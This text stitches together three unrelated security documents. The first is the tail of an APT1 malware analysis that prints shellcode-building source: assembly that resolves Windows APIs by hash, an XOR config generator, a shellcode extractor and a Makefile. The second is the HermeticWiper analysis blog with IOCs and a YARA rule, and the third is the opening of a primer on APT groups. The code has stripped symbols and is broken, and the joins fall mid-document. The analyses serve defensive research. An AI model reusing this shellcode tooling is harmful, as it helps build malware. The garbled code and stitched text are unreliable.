DataDirectory[0].VirtualAddress add    eax, dword [ebp  0x08]  add the offset to the base address mov   [ebp - 0x08], eax    save it find the real address of export names mov    eax, [eax  0x20]    eax is still addr of EAT (0x20  offset to ADdressOfNames) add    eax, dword [ebp  0x08] mov    [ebp - 0x04], eax  save it start looking for names xor ecx, ecx getprocaddrbyhash_loop_names: mov    edx, [ebp - 0x08]    EAT cmp    ecx, [edx  0x18]    NumberOfNames jge getprocaddrbyhash_failed  not find we failed find the address of the function name mov   ebx, [ebp - 0x04]    AddressOfNames mov   ebx, [ebx  ecx  4]    RVA of string add   ebx, [ebp  0x08] compare em push dword [ebp  0x0C]    FunctionName push    ebx       name of entry call    FNV1HashStr add esp, 4 cmp    eax, dword [ebp  0x0C] je    getprocaddrbyhash_found_api inc    ecx jmp    getprocaddrbyhash_loop_names getprocaddrbyhash_found_api: ------------------------------------------------------ success now all thats left is to go from the AddressOfNames index to the AddressOfFunctions index ----------------------------------------------------- First things first, find the AddressOfNameOrdinals address mov   eax, [ebp - 0x08] mov   eax, [eax  0x24]  AddressOfNameOrdinals offset add   eax, [ebp  0x08] Now we gotta look up the ordinal corresponding to our api xor   ebx, ebx mov   bx, [eax  ecx  2]  ecx  2 because its an array of WORDS Next we find the AddressOfFunctions array mov   eax, [ebp - 0x08] mov   eax, [eax  0x1C]  AddressOfFunctions offset add   eax, [ebp  0x08] and last we find the address of our api Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 46 of 48 mov   eax, [eax  ebx  4] add   eax, [ebp  0x08] jmp getprocaddrbyhash_end getprocaddrbyhash_failed: xor eax, eax getprocaddrbyhash_end: pop ebx mov esp, ebp pop ebp ret gen_conf.py: import struct struct_global  ifndef __GLOBAL__ define __GLOBAL__ include fct.h typedef struct s sVirtualAlloc VirtualAlloc sLoadLibraryA LoadLibraryA sclosesocket closesocket sgetsockname getsockname srecv recv sWSAStartup WSAStartup ssocket socket slisten listen sbind bind saccept accept s_config void init_config(s_config config) endif  config sws32 :  value: ws2_32.dll, type : char, ,  filename_header  global.h filename_source  global.c def xor(data, key): ret for i in range(len(data)): c  ord(data[i])  ord(key[ilen(key)]) ret  chr(c) return ret def stack(var, name, value, key  None): ret l  len(value) for i in range (0, l, 4): v  value[i:i4] Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 47 of 48 v  struct.unpack(I, v)[0] ret  (unsigned int )(s-s  d)  d\n  (var, name, i, v) ret  s-s_len  d\n  ( var, name,  len(value.strip(\00))) return ret def gen_source(conf, header): source  include s inline void init_config(s_config config) (header) for k, v in conf.items(): if k  key: source  stack(config, k, v[value], config[key][value]) else: source  stack(config, k, v[value]) source return source def gen_header(conf): h for k, v in conf.items(): if v[type]  char: h  s s[d]\n  ( v[type], k, len(v[value]) ) h  unsigned int s_len\n  ( k ) ret  struct_global  h return ret def prepare_config(conf): for key, value in conf.items(): if key  key: value[value]  xor(value[value], conf[key][value])  \x00 l  len(value[value]) if l  4  0: value[value]  \x00  (4-(l4)) conf[key]  value return conf config  prepare_config(config) source  gen_source(config, filename_header) header  gen_header(config) open(filename_source,w).write(source) open(filename_header,w).write(header) shellcode.py import subprocess import sys def extract_shellcode(f): ret cmd  i486-mingw32-objdump -s s  tail -n5  (f) data  subprocess.check_output(cmd, shellTrue, stderrNone) data  data.split(Contents of section )[0].strip(\n) lines  data.split(\n) for l in lines: cols  l.split( ) ret  cols[2]  cols[3]  cols[4]  cols[5] return ret.decode(hex)[:-0x10] Type Public document Project APT1: technical backstage Title malware analysis Classification Public Ref.
RAP002_APT1_Technical_backstage.1.0 Version 1.0 Page 48 of 48 if __name__  __main__: shellcode  extract_shellcode(sys.argv[1]) sys.stdout.write(shellcode) Makefile: BIN_WIN  global.c main.exe shellcode.bin CC_WIN  i486-mingw32-gcc LD_WIN  i486-mingw32-ld STRIP_WIN  i486-mingw32-strip CFLAGS_WIN  -Os -pie  -falign-functions1 -falign-loops1 -falign-jumps1 LDFLAGS_WIN  --dynamicbase --nxcompat --enable-stdcall-fixup AC  nasm AFLAGS_WIN  -f win32 --prefix _  nasm flag all: (BIN_WIN) global.c: python gen_conf.py astyle global.h global.c .obj: .asm (AC) (AFLAGS_WIN) -o .obj: .c (CC_WIN) -o  (CFLAGS_WIN) -c main.exe: main.obj global.obj winutils.obj hash.obj (LD_WIN) (LDFLAGS_WIN) -e __main --subsystem windows -o (STRIP_WIN) shellcode.bin: main.exe python shellcode.py main.exe  shellcode.bin c: rm -f .o .obj clean: rm -f .o .obj (BIN) (BIN_WIN)
1/6 Juan Andrs Guerrero-Saade HermeticWiper  New Destructive Malware Used In Cyber Attacks on Ukraine sentinelone.com/labs/hermetic-wiper-ukraine-under-attack Executive Summary On February 23rd, the threat intelligence community began observing a new wiper malware sample circulating in Ukrainian organizations.
Our analysis shows a signed driver is being used to deploy a wiper that targets Windows devices, manipulating the MBR resulting in subsequent boot failure.
This blog includes the technical details of the wiper, dubbed HermeticWiper, and includes IOCs to allow organizations to stay protected from this attack.
This sample is actively being used against Ukrainian organizations, and this blog will be updated as more information becomes available.
SentinelOne customers are protected from this threat, no action is needed.
Background On February 23rd, our friends at Symantec and ESET research tweeted hashes associated with a wiper attack in Ukraine, including one which is not publicly available as of this writing.
https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/ https://youtu.be/keWfVA6F4IM https://twitter.com/ESETresearch/status/1496581916367151115?s20toEP4tdjT44BfLt9rRVa9Lg 2/6 We started analyzing this new wiper malware, calling it HermeticWiper in reference to the digital certificate used to sign the sample.
The digital certificate is issued under the company name Hermetica Digital Ltd and valid as of April 2021.
At this time, we havent seen any legitimate files signed with this certificate.
Its possible that the attackers used a shell company or appropriated a defunct company to issue this digital certificate.
HermeticWiper Digital Signature This is an early effort to analyze the first available sample of HermeticWiper.
We recognize that the situation on the ground in Ukraine is evolving rapidly and hope that we can contribute our small part to the collective analysis effort.
Technical Analysis At first glance, HermeticWiper appears to be a custom-written application with very few standard functions.
The malware sample is 114KBs in size and roughly 70 of that is composed of resources.
The developers are using a tried and tested technique of wiper malware, abusing a benign partition management driver, in order to carry out the more damaging components of their attacks.
Both the Lazarus Group (Destover) and APT33 https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf 3/6 (Shamoon) took advantage of Eldos Rawdisk in order to get direct userland access to the filesystem without calling Windows APIs.
HermeticWiper uses a similar technique by abusing a different driver, empntdrv.sys .
HermeticWiper resources containing EaseUS Partition Manager drivers The copies of the driver are ms-compressed resources.
The malware deploys one of these depending on the OS version, bitness, and SysWow64 redirection.
EaseUS driver resource selection The benign EaseUS driver is abused to do a fair share of the heavy-lifting when it comes to accessing Physical Drives directly as well as getting partition information.
This adds to the difficulty of analyzing HermeticWiper, as a lot of functionality is deferred to DeviceIoControl  calls with specific IOCTLs.
MBR and Partition Corruption HermeticWiper enumerates a range of Physical Drives multiple times, from 0-100.
For each Physical Drive, the \\.\EPMNTDRV\  device is called for a device number.
https://securelist.com/shamoon-the-wiper-further-details-part-ii/57784/ 4/6 The malware then focuses on corrupting the first 512 bytes, the Master Boot Record (MBR) for every Physical Drive.
While that should be enough for the device not to boot again, HermeticWiper proceeds to enumerate the partitions for all possible drives.
They then differentiate between FAT and NTFS partitions.
In the case of a FAT partition, the malware calls the same bit fiddler to corrupt the partition.
For NTFS, the HermeticWiper parses the Master File Table before calling this same bit fiddling function again.
MFT parsing and bit fiddling calls We euphemistically refer to the bit fiddling function in the interest of brevity.
Looking through it, we see calls to Windows APIs to acquire a cryptographic context provider and generate random bytes.
Its likely this is being used for an inlined crypto implementation and byte overwriting, but the mechanism isnt entirely clear at this time.
Further functionality refers to interesting MFT fields ( bitmap , logfile ) and NTFS streams ( DATA , I30 , INDEX_ALLOCATION ).
The malware also enumerates common folders (My Documents, Desktop, AppData), makes references to the registry (ntuser), and Windows Event Logs ( \\\\?\\C:\\Windows\\System32\\winevt\\Logs ).
Our analysis is ongoing to determine how this functionality is being used, but it is clear that having already corrupted the MBR and partitions for all drives, the victim system should be inoperable by this point of the execution.
Along the way, HermeticWipers more mundane operations provide us with further IOCs to monitor for.
These include the momentary creation of the abused driver as well as a system service.
It also modifies several registry keys, including setting the https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-fscc/c54dec26-1551-4d3a-a0ea-4fa40f848eb3 5/6 SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled  key to 0, effectively disabling crash dumps before the abused drivers execution starts.
Disabling CrashDumps via the registry Finally, the malware waits on sleeping threads before initiating a system shutdown, finalizing the malwares devastating effect.
Conclusion After a week of defacements and increasing DDoS attacks, the proliferation of sabotage operations through wiper malware is an expected and regrettable escalation.
At this time, we have a very small sliver of aperture into the attacks in Ukraine and subsequent spillover into neighboring countries and allies.
If theres a silver lining to such a difficult situation, its seeing the open collaboration between threat intel research teams, independent researchers, and journalists looking to get the story straight.
Our thanks to the researchers at Symantec, ESET, Stairwell, and RedCanary among others whove contributed samples, time, and expertise.
SentinelOne Customers Protected Watch Video At: https://youtu.be/keWfVA6F4IM https://youtu.be/keWfVA6F4IM 6/6 Indicators of Compromise HermeticWiper SHA1 Win32 EXE 912342f1c840a42f6b74132f8a7c4ffe7d40fb77 Win32 EXE 61b25d11392172e587d8da3045812a66c3385451 ms-compressed SHA1 RCDATA_DRV_X64 a952e288a1ead66490b3275a807f52e5 RCDATA_DRV_X86 231b3385ac17e41c5bb1b1fcb59599c4 RCDATA_DRV_XP_X64 095a1678021b034903c85dd5acb447ad RCDATA_DRV_XP_X86 eb845b7a16ed82bd248e395d9852f467 rule MAL_HERMETIC_WIPER meta: desc  HermeticWiper - broad hunting rule author  Friends  SentinelLabs version  1.0 last_modified  02.23.2022 hash  1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591 strings: string1  DRV_XP_X64 wide ascii nocase string2  EPMNTDRV\\u wide ascii nocase string3  PhysicalDriveu wide ascii nocase cert1  Hermetica Digital Ltd wide ascii nocase condition: uint16(0)  0x5A4D and all of them
1 2 Contents Introduction: .................................................................................................................................................................. 4 China: ............................................................................................................................................................................ 5 Blue Termite/ Cloudy Omega/ Emdivi ...................................................................................................................... 5 The Elderwood Platform............................................................................................................................................ 7 Axiom ........................................................................................................................................................................ 9 Hidden Lynx / Aurora .............................................................................................................................................. 11 Deep Panda / Black Vine / Pupa .............................................................................................................................. 13 PLA Unit 61398/ Comment Crew/ APT1 ................................................................................................................ 15 Putter Panda/ APT2/ PLA Unit 61486 ..................................................................................................................... 16 Naikon / APT 30 ...................................................................................................................................................... 17 Mirage...................................................................................................................................................................... 19 Iran: ............................................................................................................................................................................. 20 Tarh Andishan/ Operation Cleaver .......................................................................................................................... 20 Ajax/ FLYING KITTEN/ Saffron Rose ................................................................................................................... 23 South Korea ................................................................................................................................................................. 24 Dark Hotel/ Tapaoux/ Nemim/ Pioneer/ Karba ....................................................................................................... 24 North Korea ................................................................................................................................................................. 27 Bureau 121/ Guardians of Peace/ Dark Seoul .......................................................................................................... 27 Russia: ......................................................................................................................................................................... 28 Energetic Bear/ Dragonfly/ Havex Crouching Yeti/ Koala Team ........................................................................... 28 Uroburos / Epic Turla/ Snake / SnakeNet ................................................................................................................ 31 APT 28/ Sofacy Group/ Sednit Group/ Tsar Team/ Fancy Bear/ Operation Pawnstorm ......................................... 33 PinchDuke ............................................................................................................................................................... 34 GeminiDuke............................................................................................................................................................. 35 CosmicDuke/ Tinybaron/ BotgenStudios/ NemesisGemina .................................................................................... 36 MiniDuke ................................................................................................................................................................. 37 OnionDuke .............................................................................................................................................................. 37 APT29/ Hammertoss / HammerDuke ...................................................................................................................... 38 CozyDuke/ CozyCar/ CozyBear/ Office Monkeys/ Cozer/ EuroAPT ..................................................................... 39 SeaDuke/ SeaDaddy/ SeaDask ................................................................................................................................ 40 CloudDuke/ MiniDionis/ CloudLook ...................................................................................................................... 41 Sandworm/ Quedagh/ BlackEnergy ......................................................................................................................... 42 Carbanak .................................................................................................................................................................. 43 Syria: ........................................................................................................................................................................... 45 The Syrian Electronic Army (SEA) ......................................................................................................................... 45 Global .......................................................................................................................................................................... 47 Anonymous .............................................................................................................................................................. 47 America: ...................................................................................................................................................................... 48 3 Butterfly Group/ Morpho ......................................................................................................................................... 48 Regin/ Prax/ WarriorPride ....................................................................................................................................... 50 Flame/ Flamer/ Skywiper ........................................................................................................................................ 51 Americas Most Elite Line of Cyber-Defense: Tailored Access Operations (TAO) ............................................... 53 EQUATION Group ................................................................................................................................................. 55 France .......................................................................................................................................................................... 58 Animal Farm ............................................................................................................................................................ 58 Israel: ........................................................................................................................................................................... 59 Duqu/ DQ ................................................................................................................................................................ 59 Unknown Nationality: ................................................................................................................................................. 61 Hellsing .................................................................................................................................................................... 61 Moker ...................................................................................................................................................................... 62 Shrouded Crossbow ................................................................................................................................................. 63 Santa APT ................................................................................................................................................................ 64 Conclusion: .................................................................................................................................................................. 65 Appendix I: .................................................................................................................................................................. 67 Terms ....................................................................................................................................................................... 67 Common Attack Vectors ......................................................................................................................................... 69 Sources ........................................................................................................................................................................ 71 4 Introduction: Every system connected to the internet in every home, organization, and government entity is relentlessly subject to the attempts of malicious actors to steal their data or exploit their system.
Cyber-attacks are prevalent in the digital age because computers (including mobile devices) are ubiquitous in society, because identification of an attacker and attribution is difficult, and because judicial rulings for cyber-crimes are nebulous.
Most cyber-attacks are  by basic security measures such as firewalls and antivirus applications.
However, an elite percentile of the sea of cyber attackers is more persistent, more resourceful, and more sophisticated than the rest.
These elite factions are known as Advanced Persistent Threats, and basic security measures are not enough to stop them from compromising some of the best-secured systems around the world.
Globally, at least a hundred advanced persistent threat groups are currently operational as criminal operations, mercenary groups, or nation-state sponsored divisions.
Criminal operations typically target organizations or individuals for financial data or personal identifiable information for identity theft.
Mercenary groups steal financial information or specific information from specific targets, as requested by their client.
State sponsored groups may target organizations or governments to steal financial information, defense information, information that would grant a geopolitical economic or technological advantage, or any information that would be of use in intelligence or counterintelligence operations.
Nation state actors have been known to compromise enemy systems in order to plant malicious code that could enable the attacker to fully control the target networks or sabotage the systems altogether.
While only limited application has been seen in the 2008 conflict between Russia and Georgia, the possibility of a joint cyber-physical war exists.
An invading force can gain significant advantage over its enemy if it cripples their critical infrastructure prior to the attack.
State actors such as Russia have entwined themselves within the networks of our Nations critical infrastructure for surveillance purposes as they watch and wait for the appropriate time to cash in on their strategic positions.
Attribution of attacks is difficult.
Researchers learn to think like attackers and to retrace the steps of a campaign.
Security firms identify advanced persistent groups according to their tools, techniques, and characteristics.
Advanced groups tend to develop and update their own sets of tools and malware.
The keyboard language settings that remain in the code or the file names can reveal the attackers nationality.
Strings left in the code can reveal aspects of the development environment and the available resources.
Who the group targets or does not target (especially in the case of nation state actors) can reveal the agenda of the 5 adversary.
The infrastructure, domain, and network of attackers can reveal their location, resources, and sophistication.
Finally, the specific information stolen and whether that data is sold, used, or stored can also assist in profiling an adversary.
Cyber-attacks deal significant damage to nations and citizens alike in the form of breaches and compromised systems.
Most of the time, the adversary is an unknown phantom menace and security professionals analyze forensic data to attribute the crime to a specific actor.
This primer aims to pull the veil from prominent actors and to assist in attribution attempts.
This primer offers an introductory view of some of the most prolific advanced persistent threat groups in recent history.
It also intends to give a top level view of the threat landscape and attack process.
This primer is not a sole source of attribution information.
Old actors falter about as quickly as new, identified groups emerge.
Further, new groups often develop from or mimic their predecessors.
It would be erroneous to rely upon a static document for attribution purposes.
This primer cannot provide the whole view of an actor.
Each actor is an extremely complex group.
Even security firms rarely possess complete knowledge of an active adversary.
Different firms identify different portions of actors and refer to them with different names.
Malware can be copied or purchased by a new adversary.
The adversaries update their malware and exploit kits, along with their attack vectors in order to stay ahead of detection efforts.
Finally, different organizations and governments evaluate and fear APT groups differently.
As a result, this primer will not serve as a ranking system just as it does not serve as a comprehensive list of all attackers.
Instead, the information below is offered to raise awareness about the groups that populate the cyber landscape.
We have categorized these APT groups by country so that the reader can more easily identify the characteristic similarities of the attack components.
China: Blue Termite/ Cloudy Omega/ Emdivi The Blue Termite malware campaign has targeted hundreds of Japanese organizations since its inception in 2011.
According to Kaspersky, the malware is Chinese in origin.
The CC infrastructure is located in Japan, the primary target of the campaign.
In a November 2014 report, Symantec indicated that the group might share communication channels or attack infrastructure with the Hidden Lynx APT group.
Over four years, the malware has stolen confidential information from government agencies, universities, public interest groups.
financial institutions, media organizations, automotive companies, chemical organizations, healthcare firms, electrical companies, real 6 estate firms, technology firms, and other critical infrastructure organizations.
The majority of the targets were based or located in Japan.
Blue Termite is also allegedly responsible for compromising the personal data of 1.25 million Japanese citizens in a breach of the Japan Pension Service.
Initially, like most malware groups, Blue Termite relied on phishing campaigns to spread its malware.
For instance, in 2013, it spread malicious emails relating to the Ichitaro product line.
The content of the emails varied according to the target organization however, many focused on political events.
Opening the email attachment deployed a malicious payload.
Usually, the attachment was an executable with a fake icon.
Occasionally, the attachment would contain code to exploit a vulnerability in specific target software instead.
A notable characteristic of the payload is that often the lure document would open and then the document reader would crash before reopening a clean document.
The malware would be delivered at the time of the crash and the reopened document would no longer carry the malware.
Like Sofacy and many other threat actors, the activity of the group increased in July 2015 in response to the breach of the Hacking Team servers and the public disclosure of a number of valuable 0-day exploits and system vulnerabilities.
In particular, the group began to use a Flash player exploit (CVE-2015-5119) to conduct drive-by-download malware attacks from compromised Japanese malware sites.
The group altered its behavior to target individuals as well as organizations.
The group also conducted watering hole attacks intent on infecting systems belonging to prominent members of the Japanese government.
In other attacks, infected sites were configured to only infect visitors whose IP addresses belonged to target organizations.
Blue Termites attack kit relies on the Emdivi family of malware.
The group uses Backdoor.
Emdivi, Backdoor.
Korplug, and Backdoor.
ZXshell to compromise a system and establish a persistence presence.
The backdoor enables a remote adversary to execute commands from a CC server via HTTP.
The malware contains components to search files, delete files, upload files to C2 servers, execute code, acquire a list of running processes, steal auto-complete information and saved credential information from Internet Explorer, and steal the proxy settings of browsers such as Mozilla Firefox.
Kaspersky noted that One of the most interesting things about the malware used by the Blue Termite actor is that each victim is supplied with a unique malware sample that is made in a way that it could only be launched on a specific PC, targeted by the Blue Termite actor.
Each variant has a unique version number and a type (Type S or Type T).
The version number indicates that the group systematically deploys the malware as part of an organized campaign.
The version and extra words are also used to generate a hash, which is used as an encryption key.
Both types allow 7 the adversary to remotely execute code and to steal credentials stored in Internet Explorer.
Both variants also share the same hardcoded CC infrastructure.
Type T, the more prevalent variant, is written in C. Type T encrypts its CC address and detection protection mechanisms as an anti-analysis technique to prevent debugging and analysis in virtual machines or sandbox environments.
Type S is a .NET application that is based on Type T. Type S lacks the encryption and anti-analysis mechanisms.
Type S also changes its file hash between versions by relying on Japanese sentences taken from the internet.
The Elderwood Platform The Elderwood Platform is the name given to a set of zero-day exploits that is either used within a large organization or sold as a package to many attackers.
The Elderwood platform was discovered by Symantec in 2009-2012, following the actors 2009 compromise of Google with the Hydra (Aurora) Trojan.
It is not clear whether Elderwood is a single criminal group that distributes its platform or if it is part of a major organization that distributes its platform to its subdivisions.
In the former scenario, the Elderwood distributor may preferentially sell its platform to separate criminal entities at the same time.
In most cases, the buyers receive the exploit around the same time.
This could be an operational choice on behalf of the seller, a systematic choice (i.e.
the seller sells once they find an exploit), or a procedure meant to obfuscate the activities of any one buyer.
In the latter scenario, Symantec theorizes that a parent organization may distribute the platform and it may task its subdivisions with targeting particular industries or sectors.
Each subgroup then utilizes their own infrastructure to stage the attacks using the shared platform.
Zero-day exploits are rare and valuable and the Elderwood platform relies upon zero- day exploits to compromise its victims.
Somehow the Elderwood platform has consistently been updated with new zero-day exploits since 2009.
In fact, no other actor has been able to obtain and utilize as many zero-day exploits as the actor behind the Elderwood platform.
This suggests that either the actor behind the Elderwood platform has a highly sophisticated technical team that is capable of farming zero-day exploits or that Elderwood is funded by a criminal organization or state sponsor that possess significant resources.
Unless the technical team that farms the exploits is paid an extremely high sum, neither theory explains why the exploits do not appear on underground markets until long after Elderwood has used the exploit.
A hybrid theory is possible.
Perhaps the Elderwood group sells their platform to a third party for one reason or another, and that party then resells the platform to smaller groups.
The hybrid model could explain how the Elderwood platform continues to utilize new 8 and unique zero-day exploits because an exploit could be sold whenever the group feels that it has served its purpose and then they can purchase new exploits using the money received from selling the previous exploit to numerous other buyers.
Alternately, perhaps a simpler solution exists.
Zero- day exploits are juicy pieces of information.
It is possible that Elderwood activity attracts the notice of other groups who watch the attacks and reverse engineer the exploits.
The lower tier attackers would need inside knowledge of Elderwood activity and they would have to outpace cybersecurity response teams, else the exploits would be of little value.
In recent years, other notable campaigns have utilized the Elderwood platform or its exploits.
Hidden Lynx used internet explorer exploits and its ZXshell backdoor in attacks against the defense industry.
Vidgrab exploited internet explorer to install the vidgrab backdoor on systems belonging to Japanese users and it exploited Adobe flash to install the Jolob backdoor on systems belonging to Uyghur dissidents.
Icefog exploited both Adobe Flash and Internet Explorer to install the Linfo and Hormesu backdoors respectively on systems in the manufacturing industry.
Sakurel used multiple Internet Explorer exploits and an Adobe Flash exploit to compromise Aerospace engine manufacturer systems with the Sakurel Trojan.
The Elderwood platform is used against targets in a large number of sectors.
Most frequently, the Elderwood platform is employed against organizations involved in defense, defense supply chain manufacturing, IT, and Human Rights.
Organizations are attacked through watering hole attacks, spear phishing emails, and web exploits.
Symantec believes that it is possible that manufacturers and tangential sector organizations and sites are compromised to target top tier primary targets.
In this case, organizations in Manufacturing, Engineering, Electronic, Energy, Arms, Shipping or Aeronautics industries may be targeted as stepping stones to compromise Defense organizations.
Additionally, Software or Financial firms might be targeted so the attacker can compromise NGOs.
The Elderwood platform predominantly targets United States organizations.
Firms in Canada, China, Hong Kong, and Australia have also been frequently targeted.
Organizations based in Taiwan, United Kingdom, Switzerland, India, and Denmark have been sporadically targeted.
Victims are targeted for information and intellectual property contained on their systems.
The lack of theft of financial information complicates the actor profile because a mercenary distributor is less likely to steal nation-state information over financial information.
One could argue that information is stolen with the Elderwood platform to assist in other breaches however, a mercenary group would likely not be able to analyze information as rapidly as had the Elderwood group.
9 Between 2009 and 2014, the Elderwood platform has featured numerous Adobe Flash and Internet Explorer zero-day exploits.
Adobe Flash and Internet Explorer are notoriously vulnerable applications.
Typically, Adobe Flash, Internet Explorer, or both are present on a system.
The attack platform also contains a document creation kit which enables the attacker to combine a clean document with a Trojan of their choice to create a malicious document.
These documents are then used in spear phishing campaigns.
The platform also contains a Shockwave Flash file that ensures that Trojans are downloaded onto target machines in the correct locations.
The platform could contain information gathering tools such as keyloggers, automated domain name and account generators, and an information analysis platform.
Axiom The Axiom group is a Chinese, potentially state-sponsored, threat actor that compromises systems that contain information of value to advancing Chinas 12th Five Year Plan.
Axiom was investigated in the October 2014 Operation SMN, a joint operation between private firms, led by Novetta which released information and led to the removal of Axiom malware from over 43,000 systems.
Since 2009, Axiom has been targeting networks in a broad range of sectors who possess confidential or classified information.
Axiom campaigns share infrastructure, malware, or attack techniques with Operation Aurora (2009), the Elderwood Project (2009- 2014), the VOHO campaign (2012), the Shell_Crew attacks on ColdFusion servers (2013), Operation Ephemeral Hydra (2013), Operation Snowman (2014), and 2014 attacks on American Middle Eastern Policy think tanks.
Axiom could be connected to some of these other groups however, it is more likely that Axiom advantageously adopts zero-day exploits or malware that are effective in other campaigns.
It is possible that Axiom acquires its malware on deepnet or through underground trade.
Axiom is likely Chinese state sponsored, but there are no definitive links connecting it to the Third Department, which houses Chinas offensive threat groups Putter Panda and APT1.
Axiom malware was configured to use simplified Chinese language settings and some of the filenames are in Chinese.
Axiom is more sophisticated in its operations than the aforementioned Third Department groups.
It utilizes different resources, and it may have a different mission than Third Department groups.
Novetta hypothesizes that based on Axioms domestic monitoring trends that it might be charged with domestic operations and targeting Chinese dissidents in other countries.
Universities and research institutions in Hong Kong and mainland China have been targeted with Hikit malware for persistent operations.
This could indicate state-sponsored concern over liberal academics and students.
10 Novetta has found that Axiom targets a wide variety of entities inside and outside governments.
Axiom targets a wide variety of sectors, but it only targets specific entities in those sectors.
Within Asian and Western governments, Axiom targets law enforcement, governmental records and communication agencies, environmental policy agencies, personnel management divisions, space and aerospace exploration and research entities, government auditing and internal affairs divisions.
In the science and technology sectors, Axiom targets networks belonging to electronics and integrated circuitry manufacturers, networking equipment manufacturers, internet based service companies, software vendors, cloud computing companies, energy firms, meteorological service companies, telecommunications firms, and pharmaceutical companies.
Additionally, Axiom has targeted journalism and media outlets, Human Rights NGOs, international law firms, international consulting and analysis firms, and high ranking United States academic institutions.
Most of the targets organizations have been located in the United States, South Korea, Taiwan, Japan, and the European Union, with a majority of the breaches along the Eastern seaboard of the United States and Western Europe.
Axiom targeting coincides with interests reflected in Chinas 2006 and 2011 Five Year Plans, which push for advanced technology and advanced RD efforts.
As China shifts away from foreign technology, more organizations may be targeted by Axiom.
The actor may target semiconductor and networking technology firms with offices in China because China wants to reduce its dependency on foreign technology.
Western and Asian organizations may be targeted in intelligence and counterintelligence operations.
Axiom targets NGOs concerned with international politics, environmental policy, pro-democracy movements, or human rights movements.
In some instances, Axiom will target a satellite office and move laterally through the compromised network to the main office.
Novetta theorizes that Axiom targets NGOs as a means of the Chinese ruling party keeping track of watchdog organizations and other groups who may publish claims that challenge the authority or soft power of the party.
Targeting NGOs may also enable the party to suppress dissidents or intimidate whistleblowers.
Novetta believes that Axiom has a six stage victim lifecycle that uses a different team for each stage of the attack.
This indicates large scale organization and coordination.
Initially, the target is identified and the actor conducts reconnaissance.
Then the system is compromised, confirmed to be a valuable target, and the network is surveyed.
The actor laterally moves through the network and creates additional footholds.
Compromised C2 infrastructure is connected to the victim network.
Finally, valuable data is identified and exfiltrated.
11 Axiom initially compromises systems through web based attacks, targeted attacks against public facing infrastructure, zero-day exploits, watering hole attacks and phishing emails.
Once a system is compromised, Axiom spends a few days determining whether it is valuable.
If it is determined to contain useful information, then the group installs persistent malware platforms.
Otherwise, the group tries to move laterally through the network to locate more valuable systems.
Axiom has proven capable of compromising large pools of machines and sifting through them in hours or days to find the valuable ones.
This indicates dedicated resources, possibly a dedicated targeting team and a deterministic set of criteria.
After the initial compromise, Axiom begins reconnaissance to identify where they are in the target network and to identify any changes that have been made to the network.
Axiom then escalates privileges using previously compromised administrative accounts, local exploits, or remote exploits as demonstrated in ZoxRPC malware.
Then, over the course of minutes or months, they try to dump the latest user credentials and exfiltrate the data.
Once inside the network, Axiom can also exploit Remote Desktop Protocol or exploit vulnerabilities in the custom tools designed by the organization itself.
This allows Axiom to fly under the radar and not alert antivirus or IDS systems to the compromise.
As the campaign continues, Axiom may install additional families of malware as a mechanism of remaining in the system even if one malware is discovered by the target.
Compromised systems have featured up to four layers of malware ranging from extremely common (Poison Ivy, Gh0st, ZXshell) to focused tools used by threat groups (Derusbi, Fexel) to custom Axiom malware (ZoxPNG/ZoxRPC, Hikit).
Axiom routes its activity through compromised proxy infrastructure in the United States, South Korea, Taiwan, Hong Kong, and Japan to try to disguise its traffic as legitimate to casual observation.
Novetta observes that the Hikit malware is unique to Axiom and is only used on high value targets at the height of the victims operational lifecycle.
Of the 43,000 compromised systems discovered in Operation SMN, only 180 systems were infected with the Hikit malware.
Hikit is a late stage persistence and data exfiltration tool that is capable of uploading and downloading files, generating a remote shell, tunneling into the network, and connecting to other infected machines to generate a secondary network.
Hidden Lynx / Aurora Hidden Lynx is a professional hackers for hire group that has operated since 2009 and that is believed to be based out of China.
Hidden Lynx steals specific information from select targets from a wide range of sectors and governments.
The 50-100 member group has proven themselves capable of breaching some of the best defended systems in the world.
12 The adversary can conduct multiple persistent campaigns concurrently against a variety of well defended targets.
Hidden Lynx has been associated with 2010 Operation Aurora and the 2012 VOHO campaign.
In the past three years, Hidden Lynx has conducted hundreds of attacks against commercial organizations and governments across the globe.
The sectors most targeted are the financial sector, the education sector, and government entities.
Within the financial sector, investment banks and asset management agencies are the primary targets.
In their 2013 report on the group, Symantec points out that [t]he absence of certain types of financial institutions, such as those operating as commercial banks, clearly indicates that the attacks are focusing on specific areas.
With less frequency, the group has also targeted stock trading firms and indirectly attacked organizations that supply hardware, secure network communications, and specific services to the financial sector.
Overall, the targets share the characteristics of possessing valuable information such as confidential financial data, specific knowledge of potential mergers or acquisitions, or other information that could give the client of the attacker a competitive advantage in the sector or specific knowledge of ongoing negotiations or business deals.
Outside of the financial sector, Hidden Lynx largely targets all levels of government and government contractors.
Exfiltrated information from the defense industry sector or from an opposing government could grant a nation state the ability to close a technological gap or the ability to gear intelligence and counterintelligence efforts towards a specific country.
Alternately, the information could allow private organizations to spy on competitors or to gain unfair competitive advantage by speculating on government technological research and interest.
Microsoft claims that during Operation Aurora Hidden Lynx targeted databases containing court order emails.
Over half of Hidden Lynx attacks target United States organizations, while another quarter of the attacks target organizations in Taiwan or China.
The broad range of targets accompanied by the specificity of the information targeted indicates the mercenary nature of the attacker.
The information stolen is not processed by the attacker or used for direct financial gain, so it is likely that the information is stolen on behalf of a third party.
The stolen information, predominately financial or technological in nature, would be valuable to corporations and nation states alike.
Hidden Lynx targets organizations and government entities in wealthy and technologically advanced countries.
Most of the Lynx attacks originate from infrastructure located in China.
The group initiates campaigns with a two pronged approach.
Hidden Lynx usually infects compromised systems with multiple Trojans, a mass exploitation Trojan 13 (Trojan Moudoor) and a targeted Trojan (Trojan Naid).
Each Trojan may be managed by a different team.
Trojan Moudoor deploys the Moudoor backdoor, which is a modified version of the Gh0st RAT malware.
The remote access Trojan is used to control machines in significant campaigns against multiple large companies across several sectors.
The Moudoor team must be sizable because the attack vector requires attackers to breach individual targets and to extract valuable and specific data from compromised networks.
Trojan Naid is used in limited attacks against valuable targets.
